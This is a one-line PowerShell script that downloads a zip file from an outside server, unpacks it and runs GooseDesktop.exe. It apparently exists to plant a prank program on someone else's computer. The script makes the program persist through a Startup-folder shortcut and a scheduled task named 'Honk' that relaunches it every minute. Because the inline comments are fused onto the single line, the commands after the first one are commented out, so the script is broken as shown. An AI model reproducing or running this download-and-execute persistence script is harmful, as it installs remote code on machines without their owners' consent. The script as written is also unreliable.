$p=[System.IO.Path]::GetTempPath(); iex '(New-Object Net.WebClient).DownloadFile(''https://s3.toma.gg/public/goose.zip'',$p+''goose.zip'')'; Expand-Archive $p''goose.zip'' -DestinationPath $p -Force; $exePath = $p + 'GooseDesktop.exe'; # Add GooseDesktop to Startup $startupPath = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('Startup'), 'GooseDesktop.lnk'); $wshell = New-Object -ComObject WScript.Shell; $shortcut = $wshell.CreateShortcut($startupPath); $shortcut.TargetPath = $exePath; $shortcut.Save(); $taskName = "Honk" # Create a trigger to run every minute $trigger = New-ScheduledTaskTrigger -Once -RepetitionInterval (New-TimeSpan -Minutes 1) -At (Get-Date).AddMinutes(1) # Create an action to run the executable $action = New-ScheduledTaskAction -Execute $exePath # Register the task Register-ScheduledTask -Action $action -Trigger $trigger -TaskName $taskName -Description "LOL" # Run GooseDesktop Start-Process $exePath